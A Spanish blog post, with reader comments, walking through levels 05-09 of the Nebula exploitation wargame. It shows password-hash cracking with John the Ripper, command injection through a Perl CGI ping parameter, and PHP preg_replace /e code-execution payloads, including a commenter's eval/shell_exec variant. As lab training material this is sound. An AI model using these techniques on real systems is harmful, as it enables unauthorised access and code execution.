Soluciones Nebula Niveles 05-09

Continuamos con las soluciones a los niveles del entorno Nebula de exploit-exercises.com.

Nivel 05:

Éste nivel es sobre permisos mal asignados sobre el directorio oculto .backup.  En el interior hay un archivo .tar.gz que contiene una copia de las claves SSH del usuario level05, que permiten realizar una conexión SSH a la cuenta del usuario flag05.

Certificados ssh mal protegidos

Nivel 06:

En este nivel se nos dice que hay alguna cuenta que se ha migrado desde sistemas UNIX antiguos. Esto quiere decir que es más que probable que el password para esos usuarios no se encuentre en /etc/shadow, si no en /etc/passwd. La diferencia radica en que /etc/passwd tiene permisos de lectura universales. Además, el cifrado utilizado antiguamente era 3DES, lo que quiere decir que usando John the Ripper, deberíamos obtener la contraseña con facilidad.


level06@nebula:~$ getent passwd flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
adrian@Andromeda:~$ echo "flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh" > pwdfile.txt
adrian@Andromeda:~$ john pwdfile.txt
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello            (flag06)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 1602  trying: 12345 - biteme
level06@nebula:~$ su flag06
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account

Nivel 07:

En este nivel, podemos encontrar un script CGI en perl. El script es vulnerable a inyección de comandos al utilizar el parámetro $host sin validar como argumento para la llamada a ping. Sin embargo, no basta con ejecutar el programa en la línea de comandos, ya que entonces los privilegios con los que se ejecutará serán los de nuestro usuario, y por tanto no conseguiremos el flag del nivel 7.

No obstante, tenemos también acceso al fichero de configuración del servidor thttpd, que nos indica que se encuentra a la escucha en el puerto 7007, y que tras ejecutarse como root, rebaja sus privilegios a los del usuario flag07, tal como queremos.  El único asunto es que los caracteres con significado en una URL (como el &) necesitarán enviarse en formato url-encoded (%26) para que sean interpretados correctamente.

ping y algo más

Se podría haber solucionado con otros caracteres para la ejecución de órdenes en Linux, como el punto y coma (;) o la barra vertical (|).

Nivel 08:

Éste nivel es un tanto diferente al resto. En el directorio del usuario flag08, existe un archivo de captura de tráfico de red (capture.pcap). Lo sacamos del sistema y le echamos un vistazo con Wireshark, para descubrir que hay un intento de login con un usuario y una contraseña. Se puede ver que la contraseña capturada contiene caracteres no imprimibles (0x7F), que si buscamos un poco, veremos que es la tecla DEL. Es decir, que el usuario se “equivocó” escribiendo la contraseña y eliminó algunos caracteres. Una vez obtenida la contraseña, se puede utilizar para entrar como el usuario flag08.

Captura del login con el password en claro

Nivel 09:

Éste nivel me resultó curioso y difícil de ver. En primer lugar, el wrapper en C es suid, así que la idea es conseguir una ejecución de comandos con los privilegios de la cuenta flag09. La vulnerabilidad se encuentra en el código PHP:


<?php

function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);

return $email;
}

function markup($filename, $use_me)
{
$contents = file_get_contents($filename);

$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);

return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Después de mucho indagar, y de no ver nada obvio, me puse a mirar la documentación de las funciones que aparecen en el código. En concreto, la función preg_replace se invoca con el flag “/e” (PREG_REPLACE_EVAL). Ése “eval” suena bien, ¿verdad?. Según la documentación:

If this modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences. Make sure that replacement constitutes a valid PHP code string, otherwise PHP will complain about a parse error at the line containing preg_replace().
Use of this modifier is discouraged, as it can easily introduce security vulnerabilites.

Otra cosa a tener en cuenta, es que el segundo argumento de la función markup ($use_me) no se está utilizando, lo cual es raro. Pero como podemos hacer referencias desde preg_replace (backreferences), podemos aprovechar la situación  creando un fichero con el contenido siguiente:

[email {${`$use_me`}}]

El formato [email X] pretende hacer que la expresión regular que utiliza el programa encaje, y por tanto el flag /e entre en juego. El juego de corchetes y dólar {${VAR}} es para hacer la referencia a la variable (backreference). Las comillas son simplemente azúcar sintáctico para “exec” en bash y PHP. Resumiendo, ese código ejecutará los contenidos de la variable $use_me, que es el segundo argumento del programa.

Corolario: nada de /e en preg_replace

Más en la próxima entrada.

¡Salud!

Anuncios
Tagged with: , , , ,
Publicado en exploiting, hacking
4 comments on “Soluciones Nebula Niveles 05-09
  1. dudu dice:

    Hola Adrián,

    He estado atascado en el level09 varios ratos y parecia atragantado. Yo encontré otra forma de explotarlo, bueno la que dice la página de php.net :http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php (3º caution)
    Ahí da un pequeño ejemplo de como ejecutar código , probando conseguí ejecutar phpinfo() en consola y ya puestos ejecutar “getflag” directamente.

    De esta manera:

    level09@nebula~:$ cat bypass.txt
    [email {${eval($_GET[shell_exec(getflag)])}}]

    level09@nebula~:$ /home/flag09/flag09 bypass.txt
    PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22
    PHP Notice: Use of undefined constant getflag – assumed ‘getflag’ in /home/flag09/flag09.php(15) : regexp code on line 1
    PHP Notice: Undefined index: You have successfully executed getflag on a target account
    in /home/flag09/flag09.php(15) : regexp code on line 1
    PHP Notice: Undefined variable: in /home/flag09/flag09.php(15) : regexp code on line 1

    Entiendo que tu $filename es más corto y más rápido,pero lo que yo veo es que tu fuerzas en $argv[1] a ejecutar $use_me, con lo que te queda $argv[2] de comodín para ejecutar lo que quieras.Bueno no estoy seguro 100% por eso te escribo esto. Porque todos los levels intentan lo mismo de una manera o de otra.

    Bueno gracias de nuevo.

    • Adrián dice:

      Hola dudu,
      efectivamente, yo fuerzo a que preg haga una backreference a la variable $use_me, y a que sea ejecutada. De este modo, el segundo argumento del programa es ejecutado, y puedes pasarle cualquier comando.
      Tu solución se parece bastante, tu eval es equivalente a mis backticks (`), pero yo no sabía que si especificabas un $_GET de algo sin definir se iba a tomar literalmente.
      Enhorabuena por la solución 🙂
      Salud

      • dudu dice:

        Hola Adrián,

        Gracias a tí por este magnífico blog 😉

        A ver si me animo y subo mis soluciones a mi blog y enlazo las tuyas.

        Salud y a darle duro con los que quedan….

  2. […] que lo normal sería seguir esta solución y usar la variable $use_me que es la que aparece que parpadea en el código.De esa manera nos […]

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: